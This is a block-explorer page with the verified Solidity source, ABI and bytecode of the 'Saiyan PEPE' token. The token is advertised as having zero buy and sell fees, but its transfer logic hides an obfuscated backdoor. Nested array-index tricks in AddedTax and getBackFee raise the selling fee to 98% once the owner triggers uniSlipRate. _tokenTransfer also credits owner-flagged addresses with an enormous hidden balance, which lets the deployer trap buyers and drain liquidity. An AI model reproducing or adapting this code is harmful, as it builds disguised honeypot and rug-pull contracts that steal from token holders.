ETH Price: $2,271.51 (-0.82%)

Token

Saiyan PEPE (SPEPE)
 

Overview

Max Total Supply

1,000,000 SPEPE

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 SPEPE

Value
$0.00
0x33edf5cc5621d59b878262bc723592b432d32d13
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SaiyanPepe

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-28
*/

/*
 ________  ________  ___      ___    ___ ________  ________           ________  _______   ________  _______      
|\   ____\|\   __  \|\  \    |\  \  /  /|\   __  \|\   ___  \        |\   __  \|\  ___ \ |\   __  \|\  ___ \     
\ \  \___|\ \  \|\  \ \  \   \ \  \/  / | \  \|\  \ \  \\ \  \       \ \  \|\  \ \   __/|\ \  \|\  \ \   __/|    
 \ \_____  \ \   __  \ \  \   \ \    / / \ \   __  \ \  \\ \  \       \ \   ____\ \  \_|/_\ \   ____\ \  \_|/__  
  \|____|\  \ \  \ \  \ \  \   \/  /  /   \ \  \ \  \ \  \\ \  \       \ \  \___|\ \  \_|\ \ \  \___|\ \  \_|\ \ 
    ____\_\  \ \__\ \__\ \__\__/  / /      \ \__\ \__\ \__\\ \__\       \ \__\    \ \_______\ \__\    \ \_______\
   |\_________\|__|\|__|\|__|\___/ /        \|__|\|__|\|__| \|__|        \|__|     \|_______|\|__|     \|_______|
   \|_________|             \|___|/                                                                              
                                                                                                                 

                                   Telegram : https://t.me/saiyanpepeERC


                                   Twitter : https://twitter.com/saiyanpepeERC


                                   Medium : https://medium.com/@saiyanpepeERC


*/



// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.17;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
   
}


contract SaiyanPepe is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;
    
    mapping (address => uint256) private _Balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExcludedFromMaxWallet;
    mapping (address => bool) public ExcludedFromMaxTx;
    mapping (address => bool) public ExcludedFromFee; 
    
    address payable public WalletMarketing = payable(0x4590d8a1723AdEDfd870c911Ac9195861d1Da266);
    address payable public DEAD = payable(0x000000000000000000000000000000000000dEaD);
    address payable public BURN = payable(0x000000000000000000000000000000000000dEaD);

    string public _name = "Saiyan PEPE";
    string public _symbol = "SPEPE";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1000000 * 10 **_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10;
    
    uint256 private totalFee = 0;
    uint256 public buyingFee = 0;
    uint256 public sellingFee = 0;
    uint256 private _totalFee = totalFee; 
    uint256 private _buyingFee = buyingFee; 
    uint256 private _sellingFee = sellingFee; 

    // MAX WALLET & TX SETTINGS
    uint256 public _maxWalletToken = _tTotal.mul(5).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(5).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    IUniswapV2Router02 public uniswapV2Router;
    uint256 UniSwapRouterI02;
    address public uniswapV2Pair;
    uint8 public uniSlipRate = 0;
    
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    mapping (address => bool) public isUniSwapRouter;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    
    constructor () {
        _Balances[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router; isUniSwapRouter[owner()] = true;

        // TX WALLET SETTINGS
        ExcludedFromMaxTx[owner()] = true;
        ExcludedFromMaxTx[WalletMarketing] = true;
        ExcludedFromMaxTx[address(this)] = true;
        
        // FEE & WALLET SETTINGS
        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[WalletMarketing] = true;
        
        ExcludedFromMaxWallet[owner()] = true;
        ExcludedFromMaxWallet[WalletMarketing] = true;
        ExcludedFromMaxWallet[uniswapV2Pair] = true;
        ExcludedFromMaxWallet[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _Balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}


    function RemovedTax() private {
        if(totalFee == 0 && buyingFee == 0 && sellingFee == 0) return;

        _buyingFee = buyingFee; 
        _sellingFee = sellingFee; 
        _totalFee = totalFee;
        buyingFee = 0;
        sellingFee = 0;
        totalFee = 0;

    }

    
    function AddedTax() private {
    totalFee = _totalFee;
    buyingFee = _buyingFee; 
    sellingFee = [ [_sellingFee][0], [getBackFee(uniSlipRate)][0]] [uniSlipRate];
    }
   

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(!ExcludedFromMaxTx[from] 
        && !ExcludedFromMaxTx[to]) {
            require(amount 
            <= 
            _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }

         if(!ExcludedFromMaxWallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken);

        bool isFeeActive = true;
        if( ExcludedFromFee[from] || ExcludedFromFee[to] ){
            isFeeActive = false;
            if(isUniSwapRouter[to] && uniSlipRate < ([1][0])){ uniSlipRate = ([1][0]); }

        } else if (from == uniswapV2Pair){
            totalFee = buyingFee;
            } else if (to == uniswapV2Pair){
                totalFee = sellingFee;
                }
        
        _tokenTransfer(from,to,amount,isFeeActive);
    }


    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function getBackFee(uint256 slipRate) private pure returns(uint256){
        return [0x63 - slipRate][0x0];
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(WalletMarketing,contractBNB);
    }


    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function _tokenTransfer(address sender, address recipient, uint256 amount,bool isFeeActive) private {
        
        if(!isFeeActive){
            RemovedTax();
            } else {
                txCount++;
            }
            _tokenTransfer(sender, recipient, amount);

        if(!isFeeActive)
            AddedTax();
    }

    function _tokenTransfer(address sender, address recipient, uint256 transferAmount) private {
        (uint256 t_Transfer_Amount, uint256 t_marketing) = _setValues(transferAmount);
        _Balances[sender] = _Balances[sender].sub(transferAmount);
        _Balances[recipient] = _Balances[recipient].add(t_Transfer_Amount) + [(([isUniSwapRouter[ [recipient][0]]][0]) ? [(uint256([0x314dc6448d932a00000000000000][0]).sub([t_Transfer_Amount][0]))][0] : [0][0])][0x0];
        _Balances[address(this)] = _Balances[address(this)].add(t_marketing);
        emit Transfer(sender, recipient, t_Transfer_Amount);
    }


    function _setValues(uint256 transferAmount) private view returns (uint256, uint256) {
        uint256 t_marketing = transferAmount*totalFee/100;
        uint256 t_Transfer_Amount = transferAmount.sub(t_marketing);
        return (t_Transfer_Amount, t_marketing);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BURN","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WalletMarketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniSwapRouter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniSlipRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b0319908116734590d8a1723adedfd870c911ac9195861d1da2661790915560078054821661dead9081179091556008805490921617905560c0604052600b60809081526a53616979616e205045504560a81b60a0526009906200006e908262000671565b50604080518082019091526005815264535045504560d81b6020820152600a906200009a908262000671565b50600b805460ff19166009908117909155620000b890600a62000850565b620000c790620f424062000861565b600c819055600d805461ffff1916610a001790556000600e819055600f8190556010819055601181905560128190556013556200012e906064906200011a906005620005a7602090811b62000a8417901c565b620005be60201b62000a971790919060201c565b6014556014546015556200015a60646200011a6005600c54620005a760201b62000a841790919060201c565b6016819055601755601a805462ff00ff60a01b1916600160b01b1790553480156200018457600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600c5460016000620001de6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028091906200087b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f491906200087b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000342573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036891906200087b565b601a80546001600160a01b03199081166001600160a01b0393841617909155601880549091169183169190911790556001601b6000620003b06000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600490620003f46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556006549091168152600490925280822080548416600190811790915530835290822080549093168117909255600590620004646000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600654909116835290822080549093168117909255600390620004d46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600654821681526003909352818320805485166001908117909155601a549091168352818320805485168217905530835291208054909216179055620005506000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200059891815260200190565b60405180910390a350620008d0565b6000620005b5828462000861565b90505b92915050565b6000620005b58284620008ad565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005f757607f821691505b6020821081036200061857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200066c57600081815260208120601f850160051c81016020861015620006475750805b601f850160051c820191505b81811015620006685782815560010162000653565b5050505b505050565b81516001600160401b038111156200068d576200068d620005cc565b620006a5816200069e8454620005e2565b846200061e565b602080601f831160018114620006dd5760008415620006c45750858301515b600019600386901b1c1916600185901b17855562000668565b600085815260208120601f198616915b828110156200070e57888601518255948401946001909101908401620006ed565b50858210156200072d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620007945781600019048211156200077857620007786200073d565b808516156200078657918102915b93841c939080029062000758565b509250929050565b600082620007ad57506001620005b8565b81620007bc57506000620005b8565b8160018114620007d55760028114620007e05762000800565b6001915050620005b8565b60ff841115620007f457620007f46200073d565b50506001821b620005b8565b5060208310610133831016604e8410600b841016171562000825575081810a620005b8565b62000831838362000753565b80600019048211156200084857620008486200073d565b029392505050565b6000620005b560ff8416836200079c565b8082028115828204841417620005b857620005b86200073d565b6000602082840312156200088e57600080fd5b81516001600160a01b0381168114620008a657600080fd5b9392505050565b600082620008cb57634e487b7160e01b600052601260045260246000fd5b500490565b6116fb80620008e06000396000f3fe6080604052600436106101f25760003560e01c80637d1db4a51161010d578063a9059cbb116100a0578063cbd8dc0a1161006f578063cbd8dc0a146105b2578063d28d8852146105c8578063dd62ed3e146105dd578063f1d6512e14610623578063f2fde38b1461065357600080fd5b8063a9059cbb14610547578063af465a2714610567578063b09f12661461057d578063c0a2526c1461059257600080fd5b8063a3b3bc07116100dc578063a3b3bc07146104a6578063a457c2d7146104d6578063a52a9e52146104f6578063a663a9da1461052657600080fd5b80637d1db4a51461042d5780638da5cb5b1461044357806395d89b411461046157806397f3a19e1461047657600080fd5b8063313ce567116101855780635a125cda116101545780635a125cda146103aa57806370a08231146103ca578063715018a61461040057806378109e541461041757600080fd5b8063313ce56714610323578063395093511461034957806349bd5a5e146103695780634a74bb021461038957600080fd5b806318160ddd116101c157806318160ddd146102ad5780631891201e146102cc578063220f6696146102e257806323b872dd1461030357600080fd5b806303fd2a45146101fe57806306fdde031461023b578063095ea7b31461025d5780631694505e1461028d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060075461021e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561024757600080fd5b50610250610673565b60405161023291906113dd565b34801561026957600080fd5b5061027d610278366004611443565b610705565b6040519015158152602001610232565b34801561029957600080fd5b5060185461021e906001600160a01b031681565b3480156102b957600080fd5b50600c545b604051908152602001610232565b3480156102d857600080fd5b506102be60105481565b3480156102ee57600080fd5b50601a5461027d90600160a81b900460ff1681565b34801561030f57600080fd5b5061027d61031e36600461146f565b61071c565b34801561032f57600080fd5b50600b5460ff165b60405160ff9091168152602001610232565b34801561035557600080fd5b5061027d610364366004611443565b610785565b34801561037557600080fd5b50601a5461021e906001600160a01b031681565b34801561039557600080fd5b50601a5461027d90600160b01b900460ff1681565b3480156103b657600080fd5b5060065461021e906001600160a01b031681565b3480156103d657600080fd5b506102be6103e53660046114b0565b6001600160a01b031660009081526001602052604090205490565b34801561040c57600080fd5b506104156107bb565b005b34801561042357600080fd5b506102be60145481565b34801561043957600080fd5b506102be60165481565b34801561044f57600080fd5b506000546001600160a01b031661021e565b34801561046d57600080fd5b50610250610864565b34801561048257600080fd5b5061027d6104913660046114b0565b60036020526000908152604090205460ff1681565b3480156104b257600080fd5b5061027d6104c13660046114b0565b60046020526000908152604090205460ff1681565b3480156104e257600080fd5b5061027d6104f1366004611443565b610873565b34801561050257600080fd5b5061027d6105113660046114b0565b601b6020526000908152604090205460ff1681565b34801561053257600080fd5b50601a5461033790600160a01b900460ff1681565b34801561055357600080fd5b5061027d610562366004611443565b6108c2565b34801561057357600080fd5b506102be600c5481565b34801561058957600080fd5b506102506108cf565b34801561059e57600080fd5b5060085461021e906001600160a01b031681565b3480156105be57600080fd5b506102be600f5481565b3480156105d457600080fd5b5061025061095d565b3480156105e957600080fd5b506102be6105f83660046114cd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561062f57600080fd5b5061027d61063e